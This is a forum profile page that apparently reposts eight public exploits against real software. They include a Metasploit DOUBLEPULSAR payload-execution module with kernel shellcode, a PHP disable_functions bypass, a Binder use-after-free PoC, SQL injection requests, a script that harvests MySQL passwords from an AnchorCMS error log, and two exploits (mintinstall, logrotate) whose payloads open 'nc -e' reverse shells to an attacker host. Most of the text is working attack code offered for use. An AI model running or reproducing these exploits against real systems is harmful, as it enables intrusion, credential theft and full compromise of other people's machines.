Jump to content

HireHackking

Members
  • Joined

  • Last visited

Everything posted by HireHackking

  1. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::SMB::Client MAX_SHELLCODE_SIZE = 4096 def initialize(info = {}) super(update_info(info, 'Name' => 'DOUBLEPULSAR Payload Execution and Neutralization', 'Description' => %q{ This module executes a Metasploit payload against the Equation Group's DOUBLEPULSAR implant for SMB as popularly deployed by ETERNALBLUE. While this module primarily performs code execution against the implant, the "Neutralize implant" target allows you to disable the implant. }, 'Author' => [ 'Equation Group', # DOUBLEPULSAR implant 'Shadow Brokers', # Equation Group dump 'zerosum0x0', # DOPU analysis and detection 'Luke Jennings', # DOPU analysis and detection 'wvu', # Metasploit module and arch detection 'Jacob Robles' # Metasploit module and RCE help ], 'References' => [ ['MSB', 'MS17-010'], ['CVE', '2017-0143'], ['CVE', '2017-0144'], ['CVE', '2017-0145'], ['CVE', '2017-0146'], ['CVE', '2017-0147'], ['CVE', '2017-0148'], ['URL', 'https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html'], ['URL', 'https://countercept.com/blog/analyzing-the-doublepulsar-kernel-dll-injection-technique/'], ['URL', 'https://www.countercept.com/blog/doublepulsar-usermode-analysis-generic-reflective-dll-loader/'], ['URL', 'https://github.com/countercept/doublepulsar-detection-script'], ['URL', 'https://github.com/countercept/doublepulsar-c2-traffic-decryptor'], ['URL', 'https://gist.github.com/msuiche/50a36710ee59709d8c76fa50fc987be1'] ], 'DisclosureDate' => '2017-04-14', 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X64, 'Privileged' => true, 'Payload' => { 'Space' => MAX_SHELLCODE_SIZE - kernel_shellcode_size, 'DisableNops' => true }, 'Targets' => [ ['Execute payload', {}], ['Neutralize implant', {}] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' }, 'Notes' => { 'AKA' => ['DOUBLEPULSAR'], 'RelatedModules' => [ 'auxiliary/scanner/smb/smb_ms17_010', 'exploit/windows/smb/ms17_010_eternalblue' ], 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION] } )) register_advanced_options([ OptBool.new('DefangedMode', [true, 'Run in defanged mode', true]), OptString.new('ProcessName', [true, 'Process to inject payload into', 'spoolsv.exe']) ]) end OPCODES = { ping: 0x23, exec: 0xc8, kill: 0x77 } STATUS_CODES = { not_detected: 0x00, success: 0x10, invalid_params: 0x20, alloc_failure: 0x30 } def calculate_doublepulsar_status(m1, m2) STATUS_CODES.key(m2.to_i - m1.to_i) end # algorithm to calculate the XOR Key for DoublePulsar knocks def calculate_doublepulsar_xor_key(s) x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8))) x & 0xffffffff # this line was added just to truncate to 32 bits end # The arch is adjacent to the XOR key in the SMB signature def calculate_doublepulsar_arch(s) s == 0 ? ARCH_X86 : ARCH_X64 end def generate_doublepulsar_timeout(op) k = SecureRandom.random_bytes(4).unpack('V').first 0xff & (op - ((k & 0xffff00) >> 16) - (0xffff & (k & 0xff00) >> 8)) | k & 0xffff00 end def generate_doublepulsar_param(op, body) case OPCODES.key(op) when :ping, :kill "\x00" * 12 when :exec Rex::Text.xor([@xor_key].pack('V'), [body.length, body.length, 0].pack('V*')) end end def check ipc_share = "\\\\#{rhost}\\IPC$" @tree_id = do_smb_setup_tree(ipc_share) vprint_good("Connected to #{ipc_share} with TID = #{@tree_id}") vprint_status("Target OS is #{smb_peer_os}") vprint_status('Sending ping to DOUBLEPULSAR') code, signature1, signature2 = do_smb_doublepulsar_pkt msg = 'Host is likely INFECTED with DoublePulsar!' case calculate_doublepulsar_status(@multiplex_id, code) when :success @xor_key = calculate_doublepulsar_xor_key(signature1) @arch = calculate_doublepulsar_arch(signature2) arch_str = case @arch when ARCH_X86 'x86 (32-bit)' when ARCH_X64 'x64 (64-bit)' end vprint_good("#{msg} - Arch: #{arch_str}, XOR Key: 0x#{@xor_key.to_s(16).upcase}") CheckCode::Vulnerable when :not_detected vprint_error('DOUBLEPULSAR not detected or disabled') CheckCode::Safe else vprint_error('An unknown error occurred') CheckCode::Unknown end end def exploit if datastore['DefangedMode'] warning = <<~EOF Are you SURE you want to execute code against a nation-state implant? You MAY contaminate forensic evidence if there is an investigation. Disable the DefangedMode option if you have authorization to proceed. EOF fail_with(Failure::BadConfig, warning) end # No ForceExploit because @tree_id and @xor_key are required unless check == CheckCode::Vulnerable fail_with(Failure::NotVulnerable, 'Unable to proceed without DOUBLEPULSAR') end case target.name when 'Execute payload' unless @xor_key fail_with(Failure::NotFound, 'XOR key not found') end if @arch == ARCH_X86 fail_with(Failure::NoTarget, 'x86 is not a supported target') end print_status("Generating kernel shellcode with #{datastore['PAYLOAD']}") shellcode = make_kernel_user_payload(payload.encoded, datastore['ProcessName']) shellcode << Rex::Text.rand_text(MAX_SHELLCODE_SIZE - shellcode.length) vprint_status("Total shellcode length: #{shellcode.length} bytes") print_status("Encrypting shellcode with XOR key 0x#{@xor_key.to_s(16).upcase}") xor_shellcode = Rex::Text.xor([@xor_key].pack('V'), shellcode) print_status('Sending shellcode to DOUBLEPULSAR') code, _signature1, _signature2 = do_smb_doublepulsar_pkt(OPCODES[:exec], xor_shellcode) when 'Neutralize implant' return neutralize_implant end case calculate_doublepulsar_status(@multiplex_id, code) when :success print_good('Payload execution successful') when :invalid_params fail_with(Failure::BadConfig, 'Invalid parameters were specified') when :alloc_failure fail_with(Failure::PayloadFailed, 'An allocation failure occurred') else fail_with(Failure::Unknown, 'An unknown error occurred') end ensure disconnect end def neutralize_implant print_status('Neutralizing DOUBLEPULSAR') code, _signature1, _signature2 = do_smb_doublepulsar_pkt(OPCODES[:kill]) case calculate_doublepulsar_status(@multiplex_id, code) when :success print_good('Implant neutralization successful') else fail_with(Failure::Unknown, 'An unknown error occurred') end end def do_smb_setup_tree(ipc_share) connect # logon as user \ simple.login(datastore['SMBName'], datastore['SMBUser'], datastore['SMBPass'], datastore['SMBDomain']) # connect to IPC$ simple.connect(ipc_share) # return tree simple.shares[ipc_share] end def do_smb_doublepulsar_pkt(opcode = OPCODES[:ping], body = nil) # make doublepulsar knock pkt = make_smb_trans2_doublepulsar(opcode, body) sock.put(pkt) bytes = sock.get_once return unless bytes # convert packet to response struct pkt = Rex::Proto::SMB::Constants::SMB_TRANS_RES_HDR_PKT.make_struct pkt.from_s(bytes[4..-1]) return pkt['SMB'].v['MultiplexID'], pkt['SMB'].v['Signature1'], pkt['SMB'].v['Signature2'] end def make_smb_trans2_doublepulsar(opcode, body) setup_count = 1 setup_data = [0x000e].pack('v') param = generate_doublepulsar_param(opcode, body) data = param + body.to_s pkt = Rex::Proto::SMB::Constants::SMB_TRANS2_PKT.make_struct simple.client.smb_defaults(pkt['Payload']['SMB']) base_offset = pkt.to_s.length + (setup_count * 2) - 4 param_offset = base_offset data_offset = param_offset + param.length pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 pkt['Payload']['SMB'].v['Flags1'] = 0x18 pkt['Payload']['SMB'].v['Flags2'] = 0xc007 @multiplex_id = rand(0xffff) pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count pkt['Payload']['SMB'].v['TreeID'] = @tree_id pkt['Payload']['SMB'].v['MultiplexID'] = @multiplex_id pkt['Payload'].v['ParamCountTotal'] = param.length pkt['Payload'].v['DataCountTotal'] = body.to_s.length pkt['Payload'].v['ParamCountMax'] = 1 pkt['Payload'].v['DataCountMax'] = 0 pkt['Payload'].v['ParamCount'] = param.length pkt['Payload'].v['ParamOffset'] = param_offset pkt['Payload'].v['DataCount'] = body.to_s.length pkt['Payload'].v['DataOffset'] = data_offset pkt['Payload'].v['SetupCount'] = setup_count pkt['Payload'].v['SetupData'] = setup_data pkt['Payload'].v['Timeout'] = generate_doublepulsar_timeout(opcode) pkt['Payload'].v['Payload'] = data pkt.to_s end # ring3 = user mode encoded payload # proc_name = process to inject APC into def make_kernel_user_payload(ring3, proc_name) sc = make_kernel_shellcode(proc_name) sc << [ring3.length].pack("S<") sc << ring3 sc end def generate_process_hash(process) # x64_calc_hash from external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm proc_hash = 0 process << "\x00" process.each_byte do |c| proc_hash = ror(proc_hash, 13) proc_hash += c end [proc_hash].pack('l<') end def ror(dword, bits) (dword >> bits | dword << (32 - bits)) & 0xFFFFFFFF end def make_kernel_shellcode(proc_name) # see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm # Length: 780 bytes "\x31\xc9\x41\xe2\x01\xc3\x56\x41\x57\x41\x56\x41\x55\x41\x54\x53" + "\x55\x48\x89\xe5\x66\x83\xe4\xf0\x48\x83\xec\x20\x4c\x8d\x35\xe3" + "\xff\xff\xff\x65\x4c\x8b\x3c\x25\x38\x00\x00\x00\x4d\x8b\x7f\x04" + "\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x49" + "\x8b\x37\x66\x81\xfe\x4d\x5a\x75\xef\x41\xbb\x5c\x72\x11\x62\xe8" + "\x18\x02\x00\x00\x48\x89\xc6\x48\x81\xc6\x08\x03\x00\x00\x41\xbb" + "\x7a\xba\xa3\x30\xe8\x03\x02\x00\x00\x48\x89\xf1\x48\x39\xf0\x77" + "\x11\x48\x8d\x90\x00\x05\x00\x00\x48\x39\xf2\x72\x05\x48\x29\xc6" + "\xeb\x08\x48\x8b\x36\x48\x39\xce\x75\xe2\x49\x89\xf4\x31\xdb\x89" + "\xd9\x83\xc1\x04\x81\xf9\x00\x00\x01\x00\x0f\x8d\x66\x01\x00\x00" + "\x4c\x89\xf2\x89\xcb\x41\xbb\x66\x55\xa2\x4b\xe8\xbc\x01\x00\x00" + "\x85\xc0\x75\xdb\x49\x8b\x0e\x41\xbb\xa3\x6f\x72\x2d\xe8\xaa\x01" + "\x00\x00\x48\x89\xc6\xe8\x50\x01\x00\x00\x41\x81\xf9" + generate_process_hash(proc_name.upcase) + "\x75\xbc\x49\x8b\x1e\x4d\x8d\x6e\x10\x4c\x89\xea\x48\x89\xd9" + "\x41\xbb\xe5\x24\x11\xdc\xe8\x81\x01\x00\x00\x6a\x40\x68\x00\x10" + "\x00\x00\x4d\x8d\x4e\x08\x49\xc7\x01\x00\x10\x00\x00\x4d\x31\xc0" + "\x4c\x89\xf2\x31\xc9\x48\x89\x0a\x48\xf7\xd1\x41\xbb\x4b\xca\x0a" + "\xee\x48\x83\xec\x20\xe8\x52\x01\x00\x00\x85\xc0\x0f\x85\xc8\x00" + "\x00\x00\x49\x8b\x3e\x48\x8d\x35\xe9\x00\x00\x00\x31\xc9\x66\x03" + "\x0d\xd7\x01\x00\x00\x66\x81\xc1\xf9\x00\xf3\xa4\x48\x89\xde\x48" + "\x81\xc6\x08\x03\x00\x00\x48\x89\xf1\x48\x8b\x11\x4c\x29\xe2\x51" + "\x52\x48\x89\xd1\x48\x83\xec\x20\x41\xbb\x26\x40\x36\x9d\xe8\x09" + "\x01\x00\x00\x48\x83\xc4\x20\x5a\x59\x48\x85\xc0\x74\x18\x48\x8b" + "\x80\xc8\x02\x00\x00\x48\x85\xc0\x74\x0c\x48\x83\xc2\x4c\x8b\x02" + "\x0f\xba\xe0\x05\x72\x05\x48\x8b\x09\xeb\xbe\x48\x83\xea\x4c\x49" + "\x89\xd4\x31\xd2\x80\xc2\x90\x31\xc9\x41\xbb\x26\xac\x50\x91\xe8" + "\xc8\x00\x00\x00\x48\x89\xc1\x4c\x8d\x89\x80\x00\x00\x00\x41\xc6" + "\x01\xc3\x4c\x89\xe2\x49\x89\xc4\x4d\x31\xc0\x41\x50\x6a\x01\x49" + "\x8b\x06\x50\x41\x50\x48\x83\xec\x20\x41\xbb\xac\xce\x55\x4b\xe8" + "\x98\x00\x00\x00\x31\xd2\x52\x52\x41\x58\x41\x59\x4c\x89\xe1\x41" + "\xbb\x18\x38\x09\x9e\xe8\x82\x00\x00\x00\x4c\x89\xe9\x41\xbb\x22" + "\xb7\xb3\x7d\xe8\x74\x00\x00\x00\x48\x89\xd9\x41\xbb\x0d\xe2\x4d" + "\x85\xe8\x66\x00\x00\x00\x48\x89\xec\x5d\x5b\x41\x5c\x41\x5d\x41" + "\x5e\x41\x5f\x5e\xc3\xe9\xb5\x00\x00\x00\x4d\x31\xc9\x31\xc0\xac" + "\x41\xc1\xc9\x0d\x3c\x61\x7c\x02\x2c\x20\x41\x01\xc1\x38\xe0\x75" + "\xec\xc3\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" + "\x20\x48\x8b\x12\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x45\x31\xc9" + "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1" + "\xe2\xee\x45\x39\xd9\x75\xda\x4c\x8b\x7a\x20\xc3\x4c\x89\xf8\x41" + "\x51\x41\x50\x52\x51\x56\x48\x89\xc2\x8b\x42\x3c\x48\x01\xd0\x8b" + "\x80\x88\x00\x00\x00\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20" + "\x49\x01\xd0\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\xe8\x78\xff" + "\xff\xff\x45\x39\xd9\x75\xec\x58\x44\x8b\x40\x24\x49\x01\xd0\x66" + "\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48" + "\x01\xd0\x5e\x59\x5a\x41\x58\x41\x59\x41\x5b\x41\x53\xff\xe0\x56" + "\x41\x57\x55\x48\x89\xe5\x48\x83\xec\x20\x41\xbb\xda\x16\xaf\x92" + "\xe8\x4d\xff\xff\xff\x31\xc9\x51\x51\x51\x51\x41\x59\x4c\x8d\x05" + "\x1a\x00\x00\x00\x5a\x48\x83\xec\x20\x41\xbb\x46\x45\x1b\x22\xe8" + "\x68\xff\xff\xff\x48\x89\xec\x5d\x41\x5f\x5e\xc3" end def kernel_shellcode_size make_kernel_shellcode('').length end end
  2. # CVE-2019-15943 Counter-Strike Global Offensive (vphysics.dll) before 1.37.1.1 allows remote attackers to achieve code execution or denial of service by creating a gaming server and inviting a victim to this server, because a crafted map using memory corruption. ### Description: We are need modifying class name value in our PoC for triggering this vulnerability, offset for modifying in our PoC is `0x115703`. For example add char `"="` using this offset. PoC is "mc.bsp" ![](https://github.com/bi7s/CVE/blob/master/CVE-2019-15943/img/offset.png) For modeling situation for attack we are need next: First step is copy mc.bsp to `C:\Program Files (x86)\Steam\steamapps\common\Counter-Strike Global Offensive\csgo\maps`; Second step is start game with our map (mc.bsp), for this we are need turn on game console and insert in console: `map mc`. ![](https://github.com/bi7s/CVE/blob/master/CVE-2019-15943/img/1.png) After this steps we can see next: ![](https://github.com/bi7s/CVE/blob/master/CVE-2019-15943/img/windbg.png) I was use msec.dll (!exploitable) is a Windows debugging extension (Windbg) that provides automated crash analysis and security risk assessment [Download msec.dll](https://archive.codeplex.com/?p=msecdbg) As you can see msec.dll checked this crash and decide that is EXPLOITABLE crash, because SEH chain is corrupted. It is means that attacker can use this vulnerability for remote code execution. EDB Note: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47454.bsp
  3. # Exploit Title: Information disclosure (MySQL password) in error log # Date: 2/10/2019 # Exploit Author: Tijme Gommers (https://twitter.com/finnwea/) # Vendor Homepage: https://anchorcms.com/ # Software Link: https://github.com/anchorcms/anchor-cms/releases # Version: 0.12.3a # Tested on: Linux # CVE : CVE-2018-7251 # By default, AnchorCMS will log errors to the "/anchor/errors.log" file in the webroot of the web application. This allows malicious users to access the error log and view potentally sensitive information. Sometimes the AnchorCMS error log contains ocurrences of the MySQL error "Can't connect to MySQL server on 'xxx.xxx.xxx.xxx' (111)". When this error occurs the variables of the MySQL connector class are serialized into a JSON object and logged to the error log. import re import sys import importlib def get_plain(url): try: plain_result = requests.get(url=url) return plain_result except: return None def print_usage(): print('Usage: {0} <url>'.format(__file__)) if __name__ == '__main__': # Ensure we have the URL if len(sys.argv) != 2: print_usage() sys.exit(1) print("* Using AnchorCMS website: " + sys.argv[1]) print("* Trying to import 'requests' module") requests_loader = importlib.util.find_spec('requests') requests_module_found = requests_loader is not None if requests_module_found: import requests else: print("* 'requests' module not found, please install it using pip") print("* pip install requests") sys.exit(1) json_url = sys.argv[1].strip("/") + "/anchor/errors.log" print("* Trying to get errors.log file at: {}".format(json_url)) plain_result = get_plain(json_url) if plain_result == None: print("* URL could not be requested, errors.log is probably not exposed") sys.exit(1) print("* Found data {}, trying to parse it now".format(plain_result)) lines = re.findall(r'"line":\d', plain_result.text) print("* Found {} error entries".format(len(lines))) passwords = re.findall(r'\[([^\[\]]*)"password"([^\[\]]*)\]', plain_result.text) print("* Found {} passwords entries".format(len(passwords))) for password in passwords: print("+ {}".format(password))
  4. # Exploit Title: mintinstall (aka Software Manager) object injection # Date: 10/02/2019 # Exploit Author: Andhrimnirr # Vendor Homepage: https://www.linuxmint.com/ # Software Link: mintinstall (aka Software Manager) # Version: 7.9.9 # Tested on: Linux Mint # CVE : CVE-2019-17080 import os import sys def shellCode(payload): with open(f"{os.getenv('HOME')}/.cache/mintinstall/reviews.cache","w") as wb: wb.write(payload) print("[+] Start mintinstall") if __name__=="__main__": shellCode(f"""cos\nsystem\n(S"nc -e /bin/sh {sys.argv[1]} {sys.argv[2]}"\ntR.""") else: print("[!] exploit.py [IP] [PORT]")
  5. <?php # PHP 7.0-7.3 disable_functions bypass PoC (*nix only) # # Bug: https://bugs.php.net/bug.php?id=72530 # # This exploit should work on all PHP 7.0-7.3 versions # released as of 04/10/2019, specifically: # # PHP 7.0 - 7.0.33 # PHP 7.1 - 7.1.31 # PHP 7.2 - 7.2.23 # PHP 7.3 - 7.3.10 # # Author: https://github.com/mm0r1 pwn("uname -a"); function pwn($cmd) { global $abc, $helper; function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = chr($v & 0xff); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write # handle pie $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $text_size) { $deref = leak($leak); # 'constant' constant check if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $text_size) { $deref = leak($leak); # 'bin2hex' constant check if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { # ELF header return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { # system return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } class ryat { var $ryat; var $chtg; function __destruct() { $this->chtg = $this->ryat; $this->ryat = 1; } } class Helper { public $a, $b, $c, $d; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc = 10; # increase this value if you get segfaults $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_repeat('A', 79); $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}'; $out = unserialize($poc); gc_collect_cycles(); $v = []; $v[0] = ptr2str(0, 79); unset($v); $abc = $out[2][0]; $helper = new Helper; $helper->b = function ($x) { }; if(strlen($abc) == 79) { die("UAF failed"); } # leaks $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; # fake value write($abc, 0x60, 2); write($abc, 0x70, 6); # fake reference write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); } # fake closure object $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } # pwn write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); # internal func type write($abc, 0xd0 + 0x68, $zif_system); # internal func handler ($helper->b)($cmd); exit(); }
  6. The following issue exists in the android-msm-wahoo-4.4-pie branch of https://android.googlesource.com/kernel/msm (and possibly others): There is a use-after-free of the wait member in the binder_thread struct in the binder driver at /drivers/android/binder.c. As described in the upstream commit: “binder_poll() passes the thread->wait waitqueue that can be slept on for work. When a thread that uses epoll explicitly exits using BINDER_THREAD_EXIT, the waitqueue is freed, but it is never removed from the corresponding epoll data structure. When the process subsequently exits, the epoll cleanup code tries to access the waitlist, which results in a use-after-free.” The following proof-of-concept will show the UAF crash in a kernel build with KASAN (from initial upstream bugreport at https://lore.kernel.org/lkml/20171213000517.GB62138@gmail.com/): #include <fcntl.h> #include <sys/epoll.h> #include <sys/ioctl.h> #include <unistd.h> #define BINDER_THREAD_EXIT 0x40046208ul int main() { int fd, epfd; struct epoll_event event = { .events = EPOLLIN }; fd = open("/dev/binder0", O_RDONLY); epfd = epoll_create(1000); epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event); ioctl(fd, BINDER_THREAD_EXIT, NULL); } This issue was patched in Dec 2017 in the 4.14 LTS kernel [1], AOSP android 3.18 kernel [2], AOSP android 4.4 kernel [3], and AOSP android 4.9 kernel [4], but the Pixel 2 with most recent security bulletin is still vulnerable based on source code review. Other devices which appear to be vulnerable based on source code review are (referring to 8.x releases unless otherwise stated): 1) Pixel 2 with Android 9 and Android 10 preview (https://android.googlesource.com/kernel/msm/+/refs/heads/android-msm-wahoo-4.4-q-preview-6/) 2) Huawei P20 3) Xiaomi Redmi 5A 4) Xiaomi Redmi Note 5 5) Xiaomi A1 6) Oppo A3 7) Moto Z3 8) Oreo LG phones (run same kernel according to website) 9) Samsung S7, S8, S9 *We have evidence that this bug is being used in the wild. Therefore, this bug is subject to a 7 day disclosure deadline. After 7 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.* Confirmed this proof-of-concept works on Pixel 2 with build walleye_kasan-userdebug 10 QP1A.191105.0035899767, causing KASAN crash. Proof of concept C code and new.out attached. KASAN console output attached. I received technical information from TAG and external parties about an Android exploit that is attributed to NSO group. These details included facts about the bug and exploit methodology, including but not limited to: * It is a kernel privilege escalation using a use-after free vulnerability, accessible from inside the Chrome sandbox. * The bug was allegedly being used or sold by the NSO Group. * It works on Pixel 1 and 2, but not Pixel 3 and 3a. * It was patched in the Linux kernel >= 4.14 without a CVE. * CONFIG_DEBUG_LIST breaks the primitive. * CONFIG_ARM64_UAO hinders exploitation. * The vulnerability is exploitable in Chrome's renderer processes under Android's 'isolated_app' SELinux domain, leading to us suspecting Binder as the vulnerable component. * The exploit requires little or no per-device customization. * A list of affected and unaffected devices and their versions, and more. A non-exhaustive list is available in the description of this issue. Using these details, I have determined that the bug being used is almost certainly the one in this report as I ruled out other potential candidates by comparing patches. A more detailed explanation of this bug and the methodology to identify it will be written up in a forthcoming blog post when I find the time. We do not currently have a sample of the exploit. Without samples, we have neither been able to confirm the timeline nor the payload. The bug is a local privilege escalation vulnerability that allows for a full compromise of a vulnerable device. If the exploit is delivered via the web, it only needs to be paired with a renderer exploit, as this vulnerability is accessible through the sandbox. I’ve attached a local exploit proof-of-concept to demonstrate how this bug can be used to gain arbitrary kernel read/write when run locally. It only requires untrusted app code execution to exploit CVE-2019-2215. I’ve also attached a screenshot (success.png) of the POC running on a Pixel 2, running Android 10 with security patch level September 2019 (google/walleye/walleye:10/QP1A.190711.020/5800535:user/release-keys). Vendor statement from Android: "This issue is rated as High severity on Android and by itself requires installation of a malicious application for potential exploitation. Any other vectors, such as via web browser, require chaining with an additional exploit. We have notified Android partners and the patch is available on the Android Common Kernel. Pixel 3 and 3a devices are not vulnerable while Pixel 1 and 2 devices will be receiving updates for this issue as part of the October update." Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47463.zip
  7. # Exploit Title: LabCollector (Laboratory Information System) 5.423 - Multiples SQL Injection # Date: 09/09/2019 # Software Links/Project: https://www.labcollector.com/clientarea/downloads.php # Version: LabCollector (Laboratory Information System) 5.423 # Exploit Author: Carlos Avila # Category: webapps # Tested on: Debian 9 / Win10 # Contact: http://twitter.com/badboy_nt 1. Description LabCollector Lab Services Manager (LSM) is a network based application that helps laboratories, core facilities, biotechs providing services to clients or partners to keep track of samples arriving for processing, track status and generate reports. Billing management is also possible. LSM is a simple and complete lab services LIMS software. Totally configurable by the user, it can be adapted to any situation. This allows unauthenticated remote attacker to execute arbitrary SQL commands and obtain private information. Admin or users valid credentials aren't required. In a deeper analysis other pages are also affected with the vulnerability over others inputs. It written in PHP it is vulnerable to SQL Injection on multiples occurrences. The parameters affected are detailed below: http://192.168.0.102/labcollector/html/login.php [parameters affected via POST method: login] http://192.168.0.102/labcollector/html/retrieve_password.php (parameters affected via POST method: user_name) 2. Proof of Concept ---------------------------------------------------------------------------------------------------------------------------------- Post Request: POST /labcollector/html/login.php HTTP/1.1 Host: 192.168.0.102 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 113 DNT: 1 Connection: close Referer: http://192.168.0.102/labcollector/html/login.php Cookie: PHPSESSID=cio2kpq89f4da0b1fhakfn68k7 Upgrade-Insecure-Requests: 1 login=test&pass=hola&action=login&Submit=Sign+In ---------------------------------------------------------------------------------------------------------------------------------- All tests have been performed in a controlled and local environment. sunday:sqlmap badboy_nt$ python sqlmap.py -r SQLI-LabCollectorLogin --random-agent --tamper randomcase -p login --dbms mysql --dbs sunday:sqlmap badboy_nt$ python sqlmap.py -r SQLI-LabCollectorLogin2 --random-agent --tamper randomcase -p user_name --dbms mysql -f 3. Solution: Application inputs must be validated correctly throughout the development of the project.
  8. # Exploit Title: logrotten 3.15.1 - Privilege Escalation # Date: 2019-10-04 # Exploit Author: Wolfgang Hotwagner # Vendor Homepage: https://github.com/logrotate/logrotate # Software Link: https://github.com/logrotate/logrotate/releases/tag/3.15.1 # Version: all versions through 3.15.1 # Tested on: Debian GNU/Linux 9.5 (stretch) ## Brief description - logrotate is prone to a race condition after renaming the logfile. - If logrotate is executed as root, with option that creates a file ( like create, copy, compress, etc.) and the user is in control of the logfile path, it is possible to abuse a race-condition to write files in ANY directories. - An attacker could elevate his privileges by writing reverse-shells into directories like "/etc/bash_completition.d/". ## Precondition for privilege escalation - Logrotate has to be executed as root - The logpath needs to be in control of the attacker - Any option that creates files is set in the logrotate configuration ## Tested version - Debian GNU/Linux 9.5 (stretch) - Amazon Linux 2 AMI (HVM) - Ubuntu 18.04.1 - logrotate 3.8.6 - logrotate 3.11.0 - logrotate 3.15.0 ## Compile - gcc -o logrotten logrotten.c ## Prepare payload ``` echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &); fi" > payloadfile ``` ## Run exploit If "create"-option is set in logrotate.cfg: ``` ./logrotten -p ./payloadfile /tmp/log/pwnme.log ``` If "compress"-option is set in logrotate.cfg: ``` ./logrotten -p ./payloadfile -c -s 4 /tmp/log/pwnme.log ``` ## Known Problems - It's hard to win the race inside a docker container or on a lvm2-volume ## Mitigation - make sure that logpath is owned by root - use option "su" in logrotate.cfg - use selinux or apparmor ## Author - Wolfgang Hotwagner ## References - https://github.com/whotwagner/logrotten - 